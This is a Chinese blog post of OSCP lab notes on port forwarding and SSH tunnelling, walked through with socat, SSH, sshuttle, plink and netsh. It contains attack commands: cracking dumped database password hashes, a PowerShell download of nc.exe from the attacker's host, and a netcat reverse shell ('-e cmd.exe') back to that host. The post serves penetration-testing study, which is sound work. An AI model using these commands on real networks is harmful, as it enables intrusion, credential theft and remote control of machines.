OSCP | 端口转发和SSH隧道

admin 2024年7月4日07:26:49评论1 views字数 4188阅读13分57秒阅读模式

本篇对应教材第18章,主要内容“Linux端口转发”、“SSH隧道”、“Windows端口转发”,记录使用工具和命令

OSCP | 端口转发和SSH隧道

18.2 使用linux工具端口转发

18.2.3 socat端口转发

跳板机上

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432

kali上连接跳板机的2345端口就会转发到内网10.4.50.215:5432端口

psql -h 192.168.50.63 -p 2345 -U postgres

登录postgres数据库,查看数据库信息,查看表信息,查看内容

lc confluenceselect * from cwd_user;

获得密码进行暴力破解

hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

破解出密码后,在跳板机上做端口转发

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

kali上ssh连上去

ssh database_admin@192.168.50.63 -p2222

18.3 SSH隧道

18.3.1 本地端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

ssh需要交互式shell操作,需要在跳板1上转换交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'ssh database_admin@10.4.50.215ip addr

在跳板2上发现172段,查看路由,并扫描172段存活主机445端口

ip routefor i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

发现一台

172.16.50.217 445

现在想要在kali上连接172段的445端口

在跳板1上做本地端口转发到跳板2的172段

ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215ss -ntplu

kali上连接

smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234smbclient -p 4455 //192.168.50.63/scripts -U hr_admin --password=Welcome1234lsget Provisioning.ps1

成功下载172主机上的ps1文件

18.3.2 动态端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

跳板1上开启9999端口做socks代理

python3 -c 'import pty; pty.spawn("/bin/bash")'ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

kali上设置proxychains4

 

tail /etc/proxychains4.confsocks5 192.168.50.63 9999
proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

18.3.3 远程端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)

kali上开启ssh服务

sudo systemctl start sshsudo ss -ntplu

跳板1上ssh连接kali

python3 -c 'import pty; pty.spawn("/bin/bash")'ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4

连接成功后kali上会开启2345端口,kali上连接自己的2345就是跳板2的5432端口

ss -ntplupsql -h 127.0.0.1 -p 2345 -U postgres

18.3.4 远程动态端口转发

kali(192)---跳板1(192和10)---跳板2(10和172)

跳板1上ssh连接kali

python3 -c 'import pty; pty.spawn("/bin/bash")'ssh -N -R 9998 kali@192.168.118.4

连接成功后kali上开启了9998的socks代理

sudo ss -ntplutail /etc/proxychains4.confsocks5 127.0.0.1 9998proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64

18.3.5 sshuttle

kali(192)---跳板1(192和10)---跳板2(10和172)--目标(172)

跳板1上做端口转发

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

kali上通过跳板1的转发ssh到跳板2上,并添加10和172网段

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

连接成功后kali可以直接访问10和172段

smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

18.4 Windows端口转发工具

18.4.1 ssh.exe

kali(192)---win跳板1(192和10)---目标(10)

kali上开启ssh服务

sudo systemctl start ssh

rdp到跳板1上,找到ssh.exe,连接kali

xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64where sshssh.exe -V

版本高于7.6才可以做端口转发

ssh -N -R 9998 kali@192.168.118.4

kali上开启了9998的socks代理,配置proxychains后可以连10段主机

ss -ntplutail /etc/proxychains4.confsocks5 127.0.0.1 9998proxychains psql -h 10.4.50.215 -U postgresl

18.4.2 plink

kali(192)---防火墙(屏蔽连接跳板1的3389端口)---win跳板1(192)

kali上开启80端口web服务供下载文件

sudo systemctl start apache2find / -name nc.exe 2>/dev/nullsudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/find / -name plink.exe 2>/dev/nullsudo cp /usr/share/windows-resources/binaries/plink.exe /var/www/html/
nc -nvlp 4446

跳板1上使用webshell下载nc,反弹shell到kali上

powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:WindowsTempnc.exeC:WindowsTempnc.exe -e cmd.exe 192.168.118.4 4446powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:WindowsTempplink.exe

下载plink后,做ssh到kali,开启kali的9833端口,连接到跳板1的3389端口

C:WindowsTempplink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4

kali上查看开启端口,并rdp本机9833就是跳板1的3389端口

ss -ntpluxfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833

18.4.3 Netsh

kali(192)---win跳板1(192和10)---目标(10)

跳板1上做转发

xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64

管理员运行cmd

netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215

映射跳板2222端口到目标的22端口,查看跳板2222是否开放及代理列表

netstat -anp TCP | find "2222"netsh interface portproxy show all

kali扫描跳板的2222端口

sudo nmap -sS 192.168.50.64 -Pn -n -p2222

不成功,因为Windows防火墙会阻止kali连接2222端口,防火墙增加一条规则,允许入向连接2222端口

netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow

kali连接目标成功

sudo nmap -sS 192.168.50.64 -Pn -n -p2222ssh database_admin@192.168.50.64 -p2222

删除防火墙及代理策略

netsh advfirewall firewall delete rule name="port_forward_ssh_2222"netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64

 

原文始发于微信公众号(高级红队专家):OSCP | 端口转发和SSH隧道

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月4日07:26:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSCP | 端口转发和SSH隧道https://cn-sec.com/archives/2916929.html

发表评论

匿名网友 填写信息